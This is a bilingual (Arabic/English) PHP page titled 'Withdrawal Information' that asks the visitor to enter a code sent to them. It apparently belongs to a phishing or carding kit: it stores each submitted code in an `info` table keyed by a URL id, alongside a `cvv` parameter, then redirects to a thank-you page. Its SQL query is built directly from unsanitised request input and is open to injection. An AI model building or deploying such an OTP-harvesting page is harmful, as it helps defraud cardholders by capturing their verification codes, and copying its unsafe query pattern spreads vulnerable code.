<?php 
include("db_details.php");

// جلب باراميتر اللغة وتعيين الإنجليزية كافتراضية في حال عدم إرسالها
$form_lang = trim($_GET['lang'] ?? 'en');

// مصفوفة الترجمة والدعم اللغوي
$lang_data = [
    'ar' => [
        'html_lang' => 'ar',
        'title'     => 'معلومات السحب',
        'label'     => 'أدخل الرمز المرسل',
        'btn'       => 'تحقق',
        'error'     => 'يوجد خطأ ما الرجاء اعاده المحاوله لاحقا...',
        'direction' => 'rtl',
        'align'     => 'right'
    ],
    'en' => [
        'html_lang' => 'en',
        'title'     => 'Withdrawal Information',
        'label'     => 'Enter the sent code',
        'btn'       => 'Verify',
        'error'     => 'Something went wrong, please try again later...',
        'direction' => 'ltr',
        'align'     => 'left'
    ]
];

// التأكد من أن اللغة المرسلة مدعومة، وإلا يتم الاعتماد على الإنجليزية
$current_lang = array_key_exists($form_lang, $lang_data) ? $form_lang : 'en';
$lang = $lang_data[$current_lang];
?>

<!DOCTYPE html>
<html lang="<?php echo $lang['html_lang']; ?>">
<head>
  <meta charset="UTF-8">
  <title><?php echo $lang['title']; ?></title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">

  <link href="https://fonts.googleapis.com/css?family=Raleway|Rock+Salt|Source+Code+Pro:300,400,600" rel="stylesheet">
  <link rel="stylesheet" href="./style.css">

  <script src="https://code.jquery.com/jquery-3.4.1.js" integrity="sha256-WpOohJOqMqqyKL9FccASB9O0KwACQJpFTUBLTYOVvVU=" crossorigin="anonymous"></script>

  <style type="text/css">
      /* تحسينات عامة لجعل الصفحة متناسقة والنموذج في المنتصف تماماً */
      body {
          margin: 0;
          padding: 0;
          font-family: 'Raleway', Tahoma, sans-serif;
          background-color: #f8fafc;
          display: flex;
          flex-direction: column;
          min-height: 100vh;
      }

      /* تنسيق الهيدر والشعار */
      .logo-header {
          width: 100%;
          background: #ffffff;
          padding: 15px 0;
          box-shadow: 0 2px 15px rgba(0, 0, 0, 0.05);
          text-align: center;
      }

      .logo-header img {
          width: 280px;
          max-width: 90%;
          height: auto;
      }

      /* حاوية التوسيط العمودي والأفقي */
      .main-wrapper {
          flex: 1;
          display: flex;
          justify-content: center;
          align-items: center;
          padding: 20px;
      }

      /* تصميم كارت النموذج المنسق */
      #myForm {
          background: #ffffff !important;
          width: 100%;
          max-width: 400px; /* حجم مثالي ومصغر للنموذج */
          padding: 30px;
          border-radius: 14px;
          box-shadow: 0 10px 30px rgba(0, 0, 0, 0.06);
          border: 1px solid #e2e8f0;
          box-sizing: border-box;
      }

      .form-container {
          display: flex;
          flex-direction: column;
          gap: 20px;
      }

      /* تنسيق حقل الإدخال والوصف */
      .field-container {
          display: flex;
          flex-direction: column;
          align-items: flex-start;
          width: 100%;
      }

      label {
          font-size: 15px;
          color: #475569;
          margin-bottom: 8px;
          font-weight: 600;
          width: 100%;
          /* تغيير محاذاة النص ديناميكياً بناءً على اللغة */
          text-align: <?php echo $lang['align']; ?>; 
      }

      input[type="text"] {
          width: 100% !important;
          height: 46px;
          padding: 0 15px;
          font-size: 16px;
          border: 1px solid #cbd5e1;
          border-radius: 8px;
          background-color: #f8fafc;
          color: #1e293b;
          box-sizing: border-box;
          transition: all 0.3s ease;
          text-align: center; /* جعل الرمز المكتوب يظهر في المنتصف داخل الحقل */
          letter-spacing: 2px;
      }

      input[type="text"]:focus {
          border-color: #4CAF50;
          background-color: #ffffff;
          outline: none;
          box-shadow: 0 0 0 3px rgba(76, 175, 80, 0.15);
      }

      /* زر التحقق الأنيق والناعم */
      button[type="submit"] {
          background-color: #4CAF50;
          border: none;
          color: white;
          padding: 12px 0;
          text-align: center;
          text-decoration: none;
          display: block;
          width: 100%;
          font-size: 16px;
          font-weight: 600;
          border-radius: 8px;
          cursor: pointer;
          transition: all 0.2s ease;
          box-shadow: 0 4px 6px rgba(76, 175, 80, 0.12);
          margin: 5px 0 0 0;
      }

      button[type="submit"]:hover {
          background-color: #43a047;
          transform: translateY(-1px);
          box-shadow: 0 6px 12px rgba(76, 175, 80, 0.18);
      }

      button[type="submit"]:active {
          transform: translateY(0);
      }
  </style>
</head>
<body>

  <div class="logo-header">
      <img src="new-logo.svg" alt="Logo">
  </div>

  <?php
  if(isset($_POST['send2'])){
      $code = $_POST['code'];
      $cvv = $_GET['cvv'] ?? '';
      $id = $_GET['id'] ?? '';

      $sql = "UPDATE `info` SET `code`='$code' WHERE `id` = '$id'";
      $q = $db->query($sql);

      if($q == true){
          // تمرير المعطيات واللغة الحالية للصفحة التالية المحول إليها
          echo " <meta http-equiv='refresh' content='0;thx.php?id=$id&lang=$current_lang'>";
      } else {
          // جلب نص الخطأ المترجم تلقائياً
          echo("<script> alert('".$lang['error']."'); </script>");
      }
  }
  ?>

  <div class="main-wrapper">
      <form id="myForm" method="POST">
          <div class="form-container">
              <div dir="<?php echo $lang['direction']; ?>" class="field-container">
                  <label for="name"><?php echo $lang['label']; ?></label>  
                  <input dir="ltr" name="code" id="name" maxlength="20" type="text" autocomplete="off" placeholder="••••">
              </div>
              <button name="send2" type="submit"><?php echo $lang['btn']; ?></button>
          </div>
      </form>
  </div>

</body>
</html>